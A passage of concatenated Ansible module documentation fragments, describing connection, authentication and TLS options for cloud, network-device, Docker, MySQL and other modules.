      - Url to use to connect to EC2 or your Eucalyptus cloud (by default the module will use EC2 endpoints).  Ignored for modules where region is required.  Must be specified for all other modules if region is not used. If not set then the value of the EC2_URL environment variable, if any, is used.
    required: false
    default: null
    aliases: []
  aws_secret_key:
    description:
      - AWS secret key. If not set then the value of the AWS_SECRET_ACCESS_KEY, AWS_SECRET_KEY, or EC2_SECRET_KEY environment variable is used. 
    required: false
    default: null
    aliases: [ 'ec2_secret_key', 'secret_key' ]
  aws_access_key:
    description:
      - AWS access key. If not set then the value of the AWS_ACCESS_KEY_ID, AWS_ACCESS_KEY or EC2_ACCESS_KEY environment variable is used.
    required: false
    default: null
    aliases: [ 'ec2_access_key', 'access_key' ]
  security_token:
    description:
      - AWS STS security token. If not set then the value of the AWS_SECURITY_TOKEN or EC2_SECURITY_TOKEN environment variable is used.
    required: false
    default: null
    aliases: [ 'access_token' ]
    version_added: "1.6"
  validate_certs:
    description:
      - When set to "no", SSL certificates will not be validated for boto versions >= 2.6.0.
    required: false
    default: "yes"
    choices: ["yes", "no"]
    aliases: []
    version_added: "1.5"
  profile:
    description:
      - uses a boto profile. Only works with boto >= 2.24.0
    required: false
    default: null
    aliases: []
    version_added: "1.6"
requirements:
  - "python >= 2.6"
  - boto
notes:
  - If parameters are not set within the module, the following
    environment variables can be used in decreasing order of precedence
    C(AWS_URL) or C(EC2_URL),
    C(AWS_ACCESS_KEY_ID) or C(AWS_ACCESS_KEY) or C(EC2_ACCESS_KEY),
    C(AWS_SECRET_ACCESS_KEY) or C(AWS_SECRET_KEY) or C(EC2_SECRET_KEY),
    C(AWS_SECURITY_TOKEN) or C(EC2_SECURITY_TOKEN),
    C(AWS_REGION) or C(EC2_REGION)
  - Ansible uses the boto configuration file (typically ~/.boto) if no
    credentials are provided. See http://boto.readthedocs.org/en/latest/boto_config_tut.html 
  - C(AWS_REGION) or C(EC2_REGION) can be typically be used to specify the 
    AWS region, when required, but this can also be configured in the boto config file
"""






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  This value applies to either I(cli) or I(eapi).  The port
        value will default to the approriate transport common port if
        none is provided in the task.  (cli=22, http=80, https=443).
    required: false
    default: 0 (use common port)
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        either the CLI login or the eAPI authentication depending on which
        transport is used. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.  This is a common argument used for either I(cli)
        or I(eapi) transports. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH keyfile to use to authenticate the connection to
        the remote device.  This argument is only used for I(cli) transports.
        If the value is not specified in the task, the value of environment
        variable ANSIBLE_NET_SSH_KEYFILE will be used instead.
    required: false
  authorize:
    description:
      - Instructs the module to enter priviledged mode on the remote device
        before sending any commands.  If not specified, the device will
        attempt to excecute all commands in non-priviledged mode. If the value
        is not specified in the task, the value of environment variable
        ANSIBLE_NET_AUTHORIZE will be used instead.
    required: false
    default: no
    choices: ['yes', 'no']
  auth_pass:
    description:
      - Specifies the password to use if required to enter privileged mode
        on the remote device.  If I(authorize) is false, then this argument
        does nothing. If the value is not specified in the task, the value of
        environment variable ANSIBLE_NET_AUTH_PASS will be used instead.
    required: false
    default: none
  transport:
    description:
      - Configures the transport connection to use when connecting to the
        remote device.  The transport argument supports connectivity to the
        device over cli (ssh) or eapi.
    required: true
    default: cli
  use_ssl:
    description:
      - Configures the I(transport) to use SSL if set to true only when the
        I(transport) argument is configured as eapi.  If the transport
        argument is not eapi, this value is ignored
    required: false
    default: yes
    choices: ['yes', 'no']
  provider:
    description:
      - Convience method that allows all M(eos) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null

"""






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.  Note this argument
        does not affect the SSH argument.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  This value applies to either I(cli) or I().  The port
        value will default to the approriate transport common port if
        none is provided in the task.  (cli=22, http=80, https=443).  Note
        this argument does not affect the SSH transport.
    required: false
    default: 0 (use common port)
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        either the CLI login or the eAPI authentication depending on which
        transport is used. Note this argument does not affect the SSH
        transport. If the value is not specified in the task, the value of
        environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.  This is a common argument used for either I(cli)
        or I(rest) transports.  Note this argument does not affect the SSH
        transport. If the value is not specified in the task, the value of
        environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.  This argument is only used for the I(cli)
        transports. If the value is not specified in the task, the value of
        environment variable ANSIBLE_NET_SSH_KEYFILE will be used instead.
    required: false
  transport:
    description:
      - Configures the transport connection to use when connecting to the
        remote device.  The transport argument supports connectivity to the
        device over ssh, cli or REST.
    required: true
    default: ssh
    choices: ['ssh', 'cli', 'rest']
  use_ssl:
    description:
      - Configures the I(transport) to use SSL if set to true only when the
        I(transport) argument is configured as rest.  If the transport
        argument is not rest, this value is ignored
    required: false
    default: yes
    choices: ['yes', 'no']
  provider:
    description:
      - Convience method that allows all M(openswitch) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null


"""






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  This value applies to either I(cli) or I(nxapi).  The port
        value will default to the approriate transport common port if
        none is provided in the task.  (cli=22, http=80, https=443).
    required: false
    default: 0 (use common port)
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        either the CLI login or the nxapi authentication depending on which
        transport is used. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.  This is a common argument used for either I(cli)
        or I(nxapi) transports. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.  This argument is only used for the I(cli)
        transport. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_SSH_KEYFILE will be used instead.
    required: false
  transport:
    description:
      - Configures the transport connection to use when connecting to the
        remote device.  The transport argument supports connectivity to the
        device over cli (ssh) or nxapi.
    required: true
    default: cli
  use_ssl:
    description:
      - Configures the I(transport) to use SSL if set to true only when the
        I(transport) argument is configured as nxapi.  If the transport
        argument is not nxapi, this value is ignored
    required: false
    default: no
    choices: ['yes', 'no']
  provider:
    description:
      - Convience method that allows all M(nxos) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null

"""






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  The port value will default to the well known SSH port
        of 22 (for C(transport=cli)) or port 830 (for C(transport=netconf))
    required: false
    default: 22
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.   The value of I(password) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.   The value of I(ssh_keyfile) is the path to the key
        used to authenticate the SSH session. If the value is not specified in
        the task, the value of environment variable ANSIBLE_NET_SSH_KEYFILE
        will be used instead.
    required: false
  provider:
    description:
      - Convience method that allows all M(ios) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null

"""






# (c) 2014, Matt Martz <matt@sivel.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  mode:
    required: false
    default: null
    description:
      - mode the file or directory should be. For those used to I(/usr/bin/chmod) remember that modes are actually octal numbers (like 0644). Leaving off the leading zero will likely have unexpected results. As of version 1.8, the mode may be specified as a symbolic mode (for example, C(u+rwx) or C(u=rw,g=r,o=r)).
  owner:
    required: false
    default: null
    description:
      - name of the user that should own the file/directory, as would be fed to I(chown)
  group:
    required: false
    default: null
    description:
      - name of the group that should own the file/directory, as would be fed to I(chown)
  seuser:
    required: false
    default: null
    description:
      - user part of SELinux file context. Will default to system policy, if
        applicable. If set to C(_default), it will use the C(user) portion of the
        policy if available
  serole:
    required: false
    default: null
    description:
      - role part of SELinux file context, C(_default) feature works as for I(seuser).
  setype:
    required: false
    default: null
    description:
      - type part of SELinux file context, C(_default) feature works as for I(seuser).
  selevel:
    required: false
    default: "s0"
    description:
      - level part of the SELinux file context. This is the MLS/MCS attribute,
        sometimes known as the C(range). C(_default) feature works as for
        I(seuser).
  unsafe_writes:
    description:
      -  Normally this module uses atomic operations to prevent data corruption or inconsistent reads from the target files,
         sometimes systems are configured or just broken in ways that prevent this. One example are docker mounted files,
         they cannot be updated atomically and can only be done in an unsafe manner.
      -  This boolean option allows ansible to fall back to unsafe methods of updating files for those cases in which you do
         not have any other choice. Be aware that this is subject to race conditions and can lead to data corruption.
    required: false
    default: false
    version_added: "2.2"
"""






# -*- coding: utf-8 -*-
# Copyright (c) 2015 René Moser <mail@renemoser.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard cloudstack documentation fragment
    DOCUMENTATION = '''
options:
  api_key:
    description:
      - API key of the CloudStack API.
    required: false
    default: null
  api_secret:
    description:
      - Secret key of the CloudStack API.
    required: false
    default: null
  api_url:
    description:
      - URL of the CloudStack API e.g. https://cloud.example.com/client/api.
    required: false
    default: null
  api_http_method:
    description:
      - HTTP method used.
    required: false
    default: 'get'
    choices: [ 'get', 'post' ]
  api_timeout:
    description:
      - HTTP timeout.
    required: false
    default: 10
  api_region:
    description:
      - Name of the ini section in the C(cloustack.ini) file.
    required: false
    default: cloudstack
requirements:
  - "python >= 2.6"
  - "cs >= 0.6.10"
notes:
  - Ansible uses the C(cs) library's configuration method if credentials are not
    provided by the arguments C(api_url), C(api_key), C(api_secret).
    Configuration is read from several locations, in the following order.
    - The C(CLOUDSTACK_ENDPOINT), C(CLOUDSTACK_KEY), C(CLOUDSTACK_SECRET) and
      C(CLOUDSTACK_METHOD). C(CLOUDSTACK_TIMEOUT) environment variables.
    - A C(CLOUDSTACK_CONFIG) environment variable pointing to an C(.ini) file,
    - A C(cloudstack.ini) file in the current working directory.
    - A C(.cloudstack.ini) file in the users home directory.
    Optionally multiple credentials and endpoints can be specified using ini sections in C(cloudstack.ini).
    Use the argument C(api_region) to select the section name, default section is C(cloudstack).
    See https://github.com/exoscale/cs for more information.
  - A detailed guide about cloudstack modules can be found on http://docs.ansible.com/ansible/guide_cloudstack.html
  - This module supports check mode.
'''






# (c) 2016, Charles Paul <cpaul@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):
    # Parameters for VCA modules
    DOCUMENTATION = """
options:
    username:
      description:
        - The vca username or email address, if not set the environment variable VCA_USER is checked for the username.
      required: false
      default: None
      aliases: ['user']
    password:
      description:
        - The vca password, if not set the environment variable VCA_PASS is checked for the password
      required: false
      default: None
      aliases: ['pass', 'pwd']
    org:
      description:
        - The org to login to for creating vapp. This option is required when the C(service_type) is I(vdc).
      required: false
      default: None
    instance_id:
      description:
        - The instance id in a vchs environment to be used for creating the vapp
      required: false
      default: None
    host:
      description:
        - The authentication host to be used when service type  is vcd.
      required: false
      default: None
    api_version:
      description:
        - The api version to be used with the vca
      required: false
      default: "5.7"
    service_type:
      description:
        - The type of service we are authenticating against
      required: false
      default: vca
      choices: [ "vca", "vchs", "vcd" ]
    state:
      description:
        - if the object should be added or removed
      required: false
      default: present
      choices: [ "present", "absent" ]
    verify_certs:
      description:
        - If the certificates of the authentication is to be verified
      required: false
      default: True
    vdc_name:
      description:
        - The name of the vdc where the gateway is located.
      required: false
      default: None
    gateway_name:
      description:
        - The name of the gateway of the vdc where the rule should be added
      required: false
      default: gateway
"""







# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#


class ModuleDocFragment(object):

    # Docker doc fragment
    DOCUMENTATION = '''

options:
    docker_host:
        description:
            - "The URL or Unix socket path used to connect to the Docker API. To connect to a remote host, provide the
              TCP connection string. For example, 'tcp://192.168.99.100:2376'. If TLS is used to encrypt the connection,
              the module will automatically replace 'tcp' in the connection URL with 'https'."
        required: false
        default: "unix://var/run/docker.sock"
        aliases:
            - docker_url
    tls_hostname:
        description:
            - When verifying the authenticity of the Docker Host server, provide the expected name of the server.
        default: localhost
        required: false
    api_version:
        description:
            - The version of the Docker API running on the Docker Host. Defaults to the latest version of the API
              supported by docker-py.
        required: false
        default: default provided by docker-py
        aliases:
            - docker_api_version
    timeout:
        description:
            - The maximum amount of time in seconds to wait on a response from the API.
        required: false
        default: 60
    cacert_path:
        description:
            - Use a CA certificate when performing server verification by providing the path to a CA certificate file.
        required: false
        default: null
        aliases:
            - tls_ca_cert
    cert_path:
        description:
            - Path to the client's TLS certificate file.
        required: false
        default: null
        aliases:
            - tls_client_cert
    key_path:
        description:
            - Path to the client's TLS key file.
        required: false
        default: null
        aliases:
            - tls_client_key
    ssl_version:
        description:
            - Provide a valid SSL version number. Default value determined by docker-py, currently 1.0.
        required: false
        default: "1.0"
    tls:
        description:
            -  Secure the connection to the API by using TLS without verifying the authenticity of the Docker host
               server.
        default: false
    tls_verify:
        description:
            - Secure the connection to the API by using TLS and verifying the authenticity of the Docker host server.
        default: false

notes:
    - Connect to the Docker daemon by providing parameters with each task or by defining environment variables.
      You can define DOCKER_HOST, DOCKER_TLS_HOSTNAME, DOCKER_API_VERSION, DOCKER_CERT_PATH, DOCKER_SSL_VERSION,
      DOCKER_TLS, DOCKER_TLS_VERIFY and DOCKER_TIMEOUT. If you are using docker machine, run the script shipped
      with the product that sets up the environment. It will set these variables for you. See
      https://docker-py.readthedocs.org/en/stable/machine/ for more details.
'''





#
# (c) 2016, Peter Sprygada <psprygada@ansible.com>
# (c) 2016, Patrick Ogenstad <@ogenstad>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  The port value will default to the well known SSH port
        of 22
    required: false
    default: 22
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.   The value of I(password) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.   The value of I(ssh_keyfile) is the path to the
        key used to authenticate the SSH session. If the value is not specified
        in the task, the value of environment variable ANSIBLE_NET_SSH_KEYFILE
        will be used instead.
    required: false
  authorize:
    description:
      - Instructs the module to enter priviledged mode on the remote device
        before sending any commands.  If not specified, the device will
        attempt to excecute all commands in non-priviledged mode. If the value
        is not specified in the task, the value of environment variable
        ANSIBLE_NET_AUTHORIZE will be used instead.
    required: false
    default: no
    choices: ['yes', 'no']
  auth_pass:
    description:
      - Specifies the password to use if required to enter privileged mode
        on the remote device.  If I(authorize) is false, then this argument
        does nothing. If the value is not specified in the task, the value of
        environment variable ANSIBLE_NET_AUTH_PASS will be used instead.
    required: false
    default: none
  timeout:
    description:
      - Specifies idle timeout for the connection. Useful if the console
        freezes before continuing. For example when saving configurations.
    required: false
    default: 10
  provider:
    description:
      - Convience method that allows all M(ios) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null
  show_command:
    description:
      - Specifies which command will be used to get the current configuration.
        By default the 'show running-config' command will be used, this command
        masks some passwords. For example ike passwords for VPN. If you need to
        match against masked passwords use 'more system:running-config'.
        Note that the 'more system:running-config' only works in the system
        context if you are running the ASA in multiple context mode.
        before sending any commands.  If not specified, the device will
    required: false
    default: show running-config
    choices: ['show running-config', 'more system:running-config']
  context:
    description:
      - Specifies which context to target if you are running in the ASA in
        multiple context mode. Defaults to the current context you login to.
    required: false
    default: null


"""






# (c) 2016, Charles Paul <cpaul@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):
    # Paramaters for VMware modules
    DOCUMENTATION = '''
options:
    hostname:
        description:
            - The hostname or IP address of the vSphere vCenter
        required: True
    username:
        description:
            - The username of the vSphere vCenter
        required: True
        aliases: ['user', 'admin']
    password:
        description:
            - The password of the vSphere vCenter
        required: True
        aliases: ['pass', 'pwd']
    validate_certs: 
        description: 
            - Allows connection when SSL certificates are not valid. Set to 
              false when certificates are not trusted 
        required: False 
        default: 'True' 
        choices: ['True', 'False'] 
'''






# -*- coding: utf-8 -*-
# Copyright (c) 2015 Jonathan Mainguy <jon@soh.re>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard mysql documentation fragment
    DOCUMENTATION = '''
options:
  login_user:
    description:
      - The username used to authenticate with
    required: false
    default: null
  login_password:
    description:
      - The password used to authenticate with
    required: false
    default: null
  login_host:
    description:
      - Host running the database
    required: false
    default: localhost
  login_port:
    description:
      - Port of the MySQL server. Requires login_host be defined as other then localhost if login_port is used
    required: false
    default: 3306
  login_unix_socket:
    description:
      - The path to a Unix domain socket for local connections
    required: false
    default: null
  connect_timeout:
    description:
      - The connection timeout when connecting to the MySQL server.
    required: false
    default: 30
    version_added: "2.1"
  config_file:
    description:
      - Specify a config file from which user and password are to be read
    required: false
    default: '~/.my.cnf'
    version_added: "2.0"
  ssl_ca:
    required: false
    default: null
    version_added: "2.0"
    description:
      - The path to a Certificate Authority (CA) certificate. This option, if used, must specify the same certificate as used by the server.
  ssl_cert:
    required: false
    default: null
    version_added: "2.0"
    description:
      - The path to a client public key certificate.
  ssl_key:
    required: false
    default: null
    version_added: "2.0"
    description:
      - The path to the client private key.
requirements:
   - MySQLdb
notes:
   - Requires the MySQLdb Python package on the remote host. For Ubuntu, this
     is as easy as apt-get install python-mysqldb. (See M(apt).) For CentOS/Fedora, this
     is as easy as yum install MySQL-python. (See M(yum).)
   - Both C(login_password) and C(login_user) are required when you are
     passing credentials. If none are present, the module will attempt to read
     the credentials from C(~/.my.cnf), and finally fall back to using the MySQL
     default login of 'root' with no password.
'''






#!/usr/bin/python
#
# Copyright (c) 2016 Matt Davis, <mdavis@ansible.com>
#                    Chris Houseknecht, <house@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#


class ModuleDocFragment(object):

    # Azure doc fragment
    DOCUMENTATION = '''
options:
    tags:
        description:
            - "Dictionary of string:string pairs to assign as metadata to the object. Metadata tags on the object will be updated with any provided values. To remove tags set append_tags option to false."
        required: false
        default: null
    append_tags:
        description:
            - Use to control if tags field is cannonical or just appends to existing tags. When cannonical, any tags not found in the tags parameter will be removed from the object's metadata.
        default: True
        required: false
    '''






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  The port value will default to the well known SSH port
        of 22
    required: false
    default: 22
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.   The value of I(password) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.   The value of I(ssh_keyfile) is the path to the
        key used to authenticate the SSH session. If the value is not specified
        in the task, the value of environment variable ANSIBLE_NET_SSH_KEYFILE
        will be used instead.
    required: false
  timeout:
    description:
      - Specifies idle timeout for the connection. Useful if the console
        freezes before continuing. For example when saving configurations.
    required: false
    default: 10
  provider:
    description:
      - Convience method that allows all M(vyos) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null

"""






# (c) 2014, Matt Martz <matt@sivel.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard Rackspace only documentation fragment
    DOCUMENTATION = """
options:
  api_key:
    description:
      - Rackspace API key (overrides I(credentials))
    aliases:
      - password
  credentials:
    description:
      - File to find the Rackspace credentials in (ignored if I(api_key) and
        I(username) are provided)
    default: null
    aliases:
      - creds_file
  env:
    description:
      - Environment as configured in ~/.pyrax.cfg,
        see U(https://github.com/rackspace/pyrax/blob/master/docs/getting_started.md#pyrax-configuration)
    version_added: 1.5
  region:
    description:
      - Region to create an instance in
    default: DFW
  username:
    description:
      - Rackspace username (overrides I(credentials))
  verify_ssl:
    description:
      - Whether or not to require SSL validation of API endpoints
    version_added: 1.5
requirements:
  - "python >= 2.6"
  - pyrax
notes:
  - The following environment variables can be used, C(RAX_USERNAME),
    C(RAX_API_KEY), C(RAX_CREDS_FILE), C(RAX_CREDENTIALS), C(RAX_REGION).
  - C(RAX_CREDENTIALS) and C(RAX_CREDS_FILE) points to a credentials file
    appropriate for pyrax. See U(https://github.com/rackspace/pyrax/blob/master/docs/getting_started.md#authenticating)
  - C(RAX_USERNAME) and C(RAX_API_KEY) obviate the use of a credentials file
